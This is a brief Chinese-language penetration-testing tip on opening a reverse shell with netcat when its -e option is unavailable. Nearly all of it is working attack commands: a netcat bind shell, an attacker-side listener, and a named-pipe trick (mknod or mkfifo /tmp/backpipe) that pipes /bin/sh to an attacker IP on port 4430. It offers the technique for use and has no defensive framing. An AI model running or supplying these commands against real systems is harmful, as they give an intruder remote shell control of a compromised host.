nc 无 -e 选项反弹shell

在渗透测试过程中如果想反弹shell我们通常的做法是：

>>> nc -l -vv -p 2222 -e /bin/bash

在Linux的大部分发行版中都默认编译了nc，但也许是出于安全考虑，发行版中默认编译的nc往往没有-e选项

在Attack这边依然用

nc -lnvp listenport

监听某端口，在目标环境中依次执行以下命令：

mknod  /tmp/backpipe p

/bin/sh 0</tmp/backpipe | nc 192.168.xx.xx 4430 1>/tmp/backpipe

mknod命令 有时需要权限，如不能创建临时管道，使用mkfifo /tmp/backpipe也可以创建一个管道